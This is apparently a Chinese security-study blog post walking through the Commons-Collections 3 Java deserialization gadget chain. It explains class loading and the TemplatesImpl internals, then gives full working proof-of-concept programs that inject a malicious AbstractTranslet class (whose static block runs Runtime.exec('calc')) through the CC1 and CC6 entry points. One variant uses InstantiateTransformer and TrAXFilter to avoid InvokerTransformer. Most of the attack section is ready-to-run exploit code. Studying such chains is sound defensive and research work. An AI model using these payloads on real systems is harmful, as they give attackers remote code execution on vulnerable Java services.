版本要求:jdk版本<=8u65,common-collections版本<=3.2.1
在很多时候,Runtime会被黑名单禁用.在这些情况下,我们需要去构造自定义的类加载器来加载自定义的字节码.
类加载机制
双亲委派
这里直接粘别人的了.
实现一个自定义类加载器需要继承 ClassLoader ,同时覆盖 findClass 方法。
ClassLoader 里面有三个重要的方法 loadClass() 、findClass() 和 defineClass() 。
loadClass() 方法是加载目标类的入口,它首先会查找当前 ClassLoader 以及它的双亲里面是否已经加载了目标类,如果没有找到就会让双亲尝试加载,如果双亲都加载不了,就会调用 findClass() 让自定义加载器自己来加载目标类。ClassLoader 的 findClass() 方法是需要子类来覆盖的,不同的加载器将使用不同的逻辑来获取目标类的字节码。拿到这个字节码之后再调用 defineClass() 方法将字节码转换成 Class 对象。
想要理解java的类加载机制,最重要的是双亲委派机制.
类加载器根据全限定类名判断类是否加载,如果已经加载则直接返回已加载类。如果没有加载,类加载器会首先委托父类加载器加载此类。父类加载器也会采用相同的策略,查看是否自己已经加载该类,如果有就返回,没有就继续委托给父类进行加载,直到
BootStrapClassLoader
。如果父类加载器无法加载,就会交给子类进行加载,如果还不能加载就继续交给子类加载。顺序为BootStrapClassLoader->ExtClassLoader->AppClassLoader->自定义类加载器
。
双亲委派机制的好处:
能够有效确保一个类的全局唯一性,当程序中出现多个限定名相同的类时,类加载器在执行加载时,始终只会加载其中的某一个类。加载的先后顺序其实确定了类被加载的优先级,如果出现了限定名相同的类,类加载器在执行加载时只会加载优先级最高的那个类。
动态加载
先来看一段代码.
package org.example; public class test { { System.out.println(1); } //实例初始化块,会在实例初始化之前被调用.static { System.out.println(2); } //静态初始化块,会在类被初始化时被调用public test() { System.out.println(3); } //构造函数,会在实例被初始化时调用public void aaa() { System.out.println(4); } //一般函数,需要手动去调用
}
那我们看看两个例子
package org.example; public class Main { public static void main(String[] args) throws Exception{ String url = "org.example.test"; Class<?> classname = Class.forName(url); //2test test1 = (test)classname.newInstance(); //1 3test1.aaa(); //4}
}
Class.forName
除了会进行类加载以外,还会进行类的初始化.
package org.example; public class Main { public static void main(String[] args) throws Exception{ String url = "org.example.test"; ClassLoader classloader = ClassLoader.getSystemClassLoader(); Class<?> clazz = classloader.loadClass(url); test test1 = (test)clazz.newInstance(); //2 1 3test1.aaa(); //4}
}
这里要解释一下为什么在loadClass
的时候没有输出2,而是在后面输出的.因为loadClass仅对类进行加载而不去进行初始化,因此无法触发静态初始化块.
Templatesimpl类
这个类实现了Serializable接口,同时重写了defineClass,能够去加载自定义的类.
defineClass
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length);
}
查找引用
defineTransletClasses
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
}
这里面调用了defineClass
,但是是私有的方法,继续查找引用
虽然getTransletIndex是public方法,但是这里选择getTransletInstance,原因下面说
getTransletInstance
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); // The translet needs to keep a reference to all its auxiliary // class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
}
可以看到有这样一句非常的关键
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
完美的解决了在使用ClassLoader时只加载不初始化的问题.
注意这里的判断条件需要满足.
if (_name == null) return null;
if (_class == null) defineTransletClasses();
查找引用
newTransformer
public synchronized Transformer newTransformer() throws TransformerConfigurationException
{ TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer;
}
wc总算找到public方法了.
Templatesimpl利用链
那么此时就可以去归纳梳理TemplatesLmpl利用链.
在defineTranslatedClasses中存在下面的内容
if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString());
}
看看_bytecodes
是干什么的.
private byte[][] _bytecodes = null;
这个数组中就是我们想要去反序列化的值.
按照上面的逻辑去写个脚本.
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test");Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); templatesimpl.newTransformer(); }
}
一跑发现报错,老实了
跟进错误查看.发现是defineTransletClasses
的一部分.
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
跟进查看_tfactory
private transient TransformerFactoryImpl _tfactory = null;
发现初始化的值为null,所以会在调用getExternalExtensionsMap
时出现报错.给他赋个初值.
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); templatesimpl.newTransformer(); }
跑一下,又爆了个空指针的错误
这三处报错是层层套的关系,再分析defineTransletClasses
当运行到这里的时候,_auxClasses
的值为null,因此出现了空指针错误.
else { _auxClasses.put(_class[i].getName(), _class[i]);
}
然而向上追述发现这个_auxClasses
的赋值是一个无法解决的问题
final int classCount = _bytecodes.length;
_class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>();
}
如果我们只给_bytecodes
这个二维字节数组添加一个一维数组,那么就必然无法给_auxClasses
赋值.
尝试使用反射去修改值,则出现了更大的问题.发现这个_auxClasses
是用来指定defineClass
加载的默认的类的,如果赋值的话则会出现更多的报错和问题.
只能使这个分支走上面的那个if
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i;
}
断点调试发现此时superClass.getName
的父类为java.lang.Object
(这里的superClass指的就是恶意类test的父类).这不行,我们得让他的父类为AbstractTranslet
才能够相等.改写test恶意类如下.
package org.example; import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class test extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { throw new RuntimeException("Exploit failed"); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
}
idea可以自动补全没有实现的方法,有点过于nb了.
运行成功弹出计算器.虽然还有报错,但是是在执行命令以后报的,类中没有进行捕获处理.但是我们已经执行命令了,索性也不管他.
对接cc1和cc6
由于我们最后使用的是newTransformer
方法,该方法的返回值为一个Transformer
对象.那么此时我们就有了对接cc1和cc6的能力.对接位置进行如下修改.
ConstantTransformer ct = new ConstantTransformer(templatesimpl);
InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);
Transformer[] transformers = {ct, it};
后面直接跟ChainedTransformer
去构造链子即可.
AnotationInvocationHandler
版本的利用链如下:
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws Exception{TemplatesImpl templatesimpl = new TemplatesImpl();Class<?> clazz = templatesimpl.getClass();Field field = clazz.getDeclaredField("_name");field.setAccessible(true);field.set(templatesimpl, "test");Field field2 = clazz.getDeclaredField("_bytecodes");field2.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));byte[][] codes = {code};field2.set(templatesimpl, codes);Field field3 = clazz.getDeclaredField("_tfactory");field3.setAccessible(true);field3.set(templatesimpl, new TransformerFactoryImpl());ConstantTransformer ct = new ConstantTransformer(templatesimpl);InvokerTransformer it = new InvokerTransformer("newTransformer", null, null);Transformer[] transformers = {ct, it};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);/*ChainedTransformer*/HashMap<Object, Object> map = new HashMap<>();map.put("value", ""); //解释二Map decorated = TransformedMap.decorate(map, null, chainedTransformer);/*TransformedMap.decorate*/Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class);annoConstructor.setAccessible(true);Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一/*AnnotationInvocationHandler*/serial(poc);unserial();}public static void serial(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));out.writeObject(obj);}public static void unserial() throws IOException, ClassNotFoundException {ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));in.readObject();}
}
LazyMap
版本的利用链如下
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths; import java.io.*; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ExceptionPredicate;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class<?> clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); ConstantTransformer ct = new ConstantTransformer(templatesimpl); InvokerTransformer it = new InvokerTransformer("newTransformer", null, null); Transformer[] transformers = {ct, it}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, null); Class clazz1 = TiedMapEntry.class; Field field1 = clazz1.getDeclaredField("map"); field1.setAccessible(true); field1.set(tiedMapEntry, lazymap); serial(hashMap); unserial(); } public static void serial(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); } public static void unserial() throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); }
}
归纳总结得出利用链:
cc1出口的:
Gadget chain:
ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()AbstractInputCheckedMapDecorator.MapEntry.setValue()TransformedMap.checkSetValue()ChainedTransformer.transform()ConstantTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()InvokerTransformer.transform()
cc6出口的:
Gadget chain:
ObjectInputStream.readObject()HashMap.readObject() TiedMapEntry.hashCode()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses()TemplatesImpl.defineClass()InvokerTransformer.transform()
绕过InvokerTransformer
然而我们对ysoserial工具进行反编译,发现他的cc2的payload不是像我们上面那样写的,而是绕过了InvokerTransformer
.
查找TemplatesImpl
中newTransformer
的用法
来到了TraxFilter类
TraxFilter
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{ _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism();
}
发现在构造方法中调用了templates.newTransformer();
,templates
的值是自己传入的.那么此时需要有一个能够触发别人构造方法多的类.
InstantiateTransformer
看transform方法
public Object transform(Object input) {try {if (!(input instanceof Class)) {throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));} else {Constructor con = ((Class)input).getConstructor(this.iParamTypes);return con.newInstance(this.iArgs);}} catch (NoSuchMethodException var3) {throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");} catch (InstantiationException var4) {InstantiationException ex = var4;throw new FunctorException("InstantiateTransformer: InstantiationException", ex);} catch (IllegalAccessException var5) {IllegalAccessException ex = var5;throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);} catch (InvocationTargetException var6) {InvocationTargetException ex = var6;throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);}}
忽略那一堆异常处理,直接看核心逻辑
Constructor con =((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
这就很明显了,先获取了类型为Class
的input
参数的构造方法,构造方法的参数列表为this.iParamTypes
,然后又创建了一个该类的实例并返回.
那么我们就可以得到修改后的衔接部分如下
ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers = {ct, it};
比较好理解,获取的是TrAXFilter
的构造方法,给构造方法传入的参数是Object[]{templatesimpl}
至此重新给出利用InstantiateTransformer
的payload
AnotationInvokationHandler
的:
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class<?> clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); Field field2 = clazz.getDeclaredField("_bytecodes"); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class); InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl}); Transformer[] transformers = {ct, it}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); /* ChainedTransformer */ HashMap<Object, Object> map = new HashMap<>(); map.put("value", ""); //解释二 Map decorated = TransformedMap.decorate(map, null, chainedTransformer); /* TransformedMap.decorate */ Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annoConstructor = clazz1.getDeclaredConstructor(Class.class, Map.class); annoConstructor.setAccessible(true); Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一 /* AnnotationInvocationHandler */ serial(poc); unserial(); } public static void serial(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); } public static void unserial() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); }
}
LazyMap
的:
package org.example; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates; import java.io.*; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import java.util.HashMap;
import java.util.Map; public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templatesimpl = new TemplatesImpl(); Class<?> clazz = templatesimpl.getClass(); Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templatesimpl, "test"); String bytecodes = "_bytecodes"; Field field2 = clazz.getDeclaredField(bytecodes); field2.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class")); byte[][] codes = {code}; field2.set(templatesimpl, codes); Field field3 = clazz.getDeclaredField("_tfactory"); field3.setAccessible(true); field3.set(templatesimpl, new TransformerFactoryImpl()); ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class); InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl}); Transformer[] transformers = {ct, it}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map lazymap = LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(LazyMap.decorate(new HashMap(), new ConstantTransformer(null)), null); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, null); Class clazz1 = TiedMapEntry.class; Field field1 = clazz1.getDeclaredField("map"); field1.setAccessible(true); field1.set(tiedMapEntry, lazymap); serial(hashMap); unserial(); } public static void serial(Object obj) throws Exception { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); } public static void unserial() throws Exception { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); }
}